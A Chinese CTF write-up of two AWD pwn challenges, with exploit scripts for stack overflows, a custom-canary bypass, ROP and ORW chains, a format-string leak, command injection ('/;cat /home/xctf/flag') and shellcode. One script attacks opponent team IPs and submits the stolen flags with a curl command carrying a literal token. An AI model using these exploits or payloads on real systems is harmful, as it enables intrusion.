2021年首届鹤城杯线下赛AWD-PWN Writeup

robots

 

tools

题目环境:ubuntu16:04

题目信息:

❯ file tools
tools: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3b786167921bb6dab6e69de7e5f074391f208825, stripped

root@Radish /Desktop/pwn
❯ checksec --file=./tools
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No    0        4        ./tools

漏洞一

题目给了一个后门选项666,在backdoor函数中,在读入Username时,由于读入过长产生变量覆盖,可以覆盖到栈上的文件名,因此直接覆盖成flag的地址即可获取flag

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_400AA5(a1, a2, a3);
  sub_400BC4();
  sub_401515();
  while ( 1 )
  {
    while ( 1 )
    {
      write(1, "CMD>> ", 6uLL);
      v3 = sub_400B87();
      if ( v3 == 2 )
        sub_4013FB();
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      sub_400D77();
    }
    if ( v3 == 3 )
      return 0LL;
    if ( v3 == 666 )
      backdoor();
LABEL_13:
    puts("Invalid CMD");
  }
}

void __noreturn backdoor()
{
  char v0; // [rsp+0h] [rbp-80h]
  __int64 v1; // [rsp+10h] [rbp-70h]
  char v2[88]; // [rsp+20h] [rbp-60h]
  int fd; // [rsp+78h] [rbp-8h]
  int i; // [rsp+7Ch] [rbp-4h]

  puts("If you want to renew the software, please enter your serial number on the official website!");
  puts("Now, enter your username and the software will generate a serial number for you~");
  strcpy((char *)&v1, "/dev/urandom");
  printf("UserName: ");
  sub_400B01(&v0, 32LL);
  fd = open((const char *)&v1, 0);
  read(fd, v2, 0x50uLL);
  close(fd);
  printf("%s's SerialNumber: ", &v0);
  for ( i = 0; i <= 79; ++i )
    printf("%02x", (unsigned __int8)v2[i]);
  puts(&byte_401C6A);
  exit(1);
}

exp_1:

#coding:utf-8
from pwn import *
# context.log_level='debug'
AUTHOR="萝卜啊啊啊啊啊啊"
debug = 1
file_name = './tools'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

def debug():
    gdb.attach(r)
    raw_input()

file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()

index = 0
for x in range(15):
    try:
        ip = "172.35.{}.12".format(x+1)
        prot = '9999'
        # print ip
        r = remote(ip,int(prot))
        ru("CMD>> ")
        sl("666")
        ru("UserName: ")
        payload = "a"*0x10+"/home/xctf/flag"
        sl(payload)
        rud("'s SerialNumber: ")
        data = rud("\n")
        flag = data.decode("hex")[:60]
        print flag
        # submit_flag(flag)
        payload = "curl http://192.168.20.100/api/v1/att_def/web/submit_flag/?event_id=6 -d \"flag={}&token=2uvsXchvDtj2VwMUESDfuEAjMBkKYVEKDmtDDrX44fTYG\"".format(flag)
        os.system(payload)
        index+=1
    except:
        print ip
        r.close()

print "本轮共拿到"+str(index)+"个队伍的flag"

漏洞二

选项二实现了一个计算器的功能,在进入计算器功能前,用户可以进行输入用户名,代码如下所示:

__int64 sub_401320()
{
  __int64 result; // rax
  char s; // [rsp+0h] [rbp-30h]
  char v2; // [rsp+20h] [rbp-10h]
  int v3; // [rsp+24h] [rbp-Ch]
  __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = sub_400F47();
  printf("UserName: ");
  sub_400B01(byte_6030A0, 0x48LL);
  v3 = snprintf(&s, 0x20uLL, "%s's calculator ^_^", byte_6030A0);// 栈溢出
  printf("CalcName: %s\n", &s);
  puts("Do you like the CalcName automatically generated by the system? [Y/N]");
  sub_400B01(&v2, 2LL);
  if ( v2 == 'N' )
  {
    printf("New CalcName: ");
    sub_400B01(&s, v3);
  }
  sub_4011F8();
  result = sub_400FD0();
  if ( result != v4 )
    exit(-1);
  return result;
}

sub_400B01(byte_6030A0, 0x48LL);读入字符串后,又调用了snprintf函数对输入的字符串进行拼接,官方解释如下所示,返回值是欲写入的字符串长度。

在第一次读入用户名之后还有一次读入的机会,而第二次读入的长度是我们可控的,可以造成栈溢出。
棘手的是,虽然程序没有开启Canary保护,但是程序中自己实现了canary保护的机制,canary经过调试发现是存在堆块上的。

现在需要来绕过canary的限制,接着进入到计算器的功能中,有加减乘除四个选项,每次计算之后都可以存储到堆上的一个位置。

这个位置是在canary之前的,而每次计算的值存到堆上的地址时依次增加的,所以我们如果计算多次的话,就可以覆盖到堆块上存储的canary。原理如下图所示:

在第二次输入Username的时候,就把canary设置成和覆盖的一样,就可以绕过canary的保护了,进而栈溢出拿flag即可。

exp_2:

#coding:utf-8
from pwn import *
context.log_level='debug'
AUTHOR="萝卜啊啊啊啊啊啊"
debug = 1
file_name = './tools'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

def debug():
    gdb.attach(r)
    raw_input()


file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()

def exp_sub(num1,num2,sign):
    ru("CMD>> ")
    sl("2")
    ru("Num1: ")
    sl(str(num1))
    ru("Num2: ")
    sl(str(num2))
    ru("Save? [Y/N]")
    sl(sign)

start = 0x400990
puts_plt = file.plt['puts']
puts_got = file.got['puts']

p_rdi = 0x0000000000401643# : pop rdi ; ret
pp_rsi = 0x0000000000401641# : pop rsi ; pop r15 ; ret
flag_str = 0x6030d4#/home/xctf/flag
readflag_addr = 0x40148E
ru("CMD>> ")
sl("2")
ru("UserName: ")
sd("a"*0x38+"/home/xctf/flag\x00")
ru("Do you like the CalcName automatically generated by the system? [Y/N]")
sl("N")
ru("New CalcName: ")
canary = 0x0000000000000001
sl("/home/xctf/flag\x00"+"a"*0x18+p64(canary)+p64(1)+p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(start))
debug()

for x in range(35):
    exp_sub(2,1,"Y")
# debug()
ru("CMD>> ")
sl("5")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
binsh = 0x000000000018ce17+libc_base
system = libc_base+libc.symbols['system']

#再次栈溢出进行读flag
ru("CMD>> ")
sl("2")
ru("UserName: ")
sd("a"*0x34+"cat /home/xctf/flag\x00")
ru("Do you like the CalcName automatically generated by the system? [Y/N]")
sl("N")
ru("New CalcName: ")
canary = 0x0000000000000001
sl("/home/xctf/flag\x00"+"a"*0x18+p64(canary)+p64(1)+p64(p_rdi)+p64(flag_str)+p64(system))
# debug()
for x in range(35):
    exp_sub(2,1,"Y")
# debug()
ru("CMD>> ")
sl("5")
ri()

比赛时抓到其他队伍的攻击流量,是通过orw来进行读取flag。

 

babyhouse

题目环境:ubuntu18:04

题目信息:

radish ➜ pwn2  file babyhouse
babyhouse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9a83b6747a475098e28a86c818257ca9688437ec, stripped
radish ➜ pwn2  checksec --file=./babyhouse
[*] '/media/psf/Home/Desktop/pwn/pwn2/babyhouse'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
radish ➜ pwn2

本道题目漏洞有点多。首先题目提供了5个功能,分别是ls、cat、sh、zip、print

漏洞一

在ls功能中,程序用ls来拼接输入的字符,代码如下图所示:

对于输入没有进行过滤,直接传入到system函数执行,导致可以执行任意命令

exp_1:

from pwn import *
# context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("> ")
sl("ls")
ru("Dir: ")
# debug()
sl("/;cat /home/xctf/flag\x00")
ri()

漏洞二

ls功能中,输入命令的时候,输入长度过长导致栈溢出,因为程序开启了PIE,所以要配合print功能中的格式化字符串漏洞来泄露地址

exp_2:

from pwn import *
context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def debug():
    gdb.attach(r)
    raw_input()

ru(">")
sl("print")
ru("Content: ")
sl("%21$p")
libc_base =  eval(rud(">"))-0x21b97
li("libc_base",libc_base)
p_rdi = libc_base  + 0x000000000002155f# : pop rdi ; ret

system = libc_base+libc.symbols['system']
binsh = 0x00000000001b40fa+libc_base
one_gg = 0x4f365 + libc_base
li("system",system)
li("binsh",binsh)
# ru(">")
sl("print")
ru("Content: ")
sl("%9$p")
elf_base =  eval(rud(">"))-0x2262
li("elf_base",elf_base)
flag_addr = 0x205370 + elf_base
p_rdi = libc_base + 0x000000000002155f# : pop rdi ; ret
p_rsi = libc_base + 0x0000000000023e8a# : pop rsi ; ret
p_rdx = libc_base + 0x0000000000001b96# : pop rdx ; ret
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
start_addr = elf_base + 0x01FC0
payload = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(0)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x10)+p64(read_addr)+p64(start_addr)
# debug()
sl("ls")
ru(" Dir: ")
sl(payload)
sd("/home/xctf/flag\x00")

li("p_rdi",p_rdi)


payload_2 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(flag_addr)+p64(p_rdx)+p64(0)+p64(open_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_2)

payload_3 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(3)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x50)+p64(read_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_3)

# debug()
payload_4 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(1)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x50)+p64(write_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_4)
ri()

漏洞三

sh功能中直接是将用户输入当做命令执行。

exp_3:

from pwn import *
context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()

ru(">")
sl("sh")
ru("Command: ")
sl("sh")
sl("cat /home/xctf/flag\x00")
ri()

漏洞四

zip功能中,如果我们输入的字符串的ascii码相加是”0xa”的倍数的话,程序就可以把我们的输入作为代码来执行,导致可以执行shellcode。

from pwn import *
context.log_level='debug'
context.arch = 'amd64'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def debug():
    gdb.attach(r)
    raw_input()

ru(">")
sl("zip")
# debug()
ru("Content to zip: ")
shellcode = asm(shellcraft.sh())+"\x90\x90"+"\x05"
sum = 0
for x in range(len(shellcode)):
    sum += ord(shellcode[x])
# print sum
sl(shellcode)
sl("cat /home/xctf/flag\x00")
ri()

 

总结

1、本次提供靶机连接方式是通过id_rsa文件来登录靶机,id_rsa、id_rsa.pub文件的属性需要是600,连接命令:ssh -i ./id_rsa xctf@172.35.13.11

2、在AWD中,Pwn流量审计也是很重要的。由于这次试用的是XCTF的平台,提供了Pwn的攻击流量,所以在比赛中自己也通过流量拿到过某个攻击链。然后把流量中的数据修改成脚本,直接开打。

3、Patch还是要谨慎的,不然会判宕机。一方面是要确定漏洞修复之后不能再利用此漏洞进行攻击,另一方面修复之后不影响程序其他功能和程序的正常运行。为了更好的避免被平台判宕机,可以通过流量找到check机器发出check程序是否正常的流量,根据这些数据来进行修补会好很多。

 

附件

附件下载地址

(完)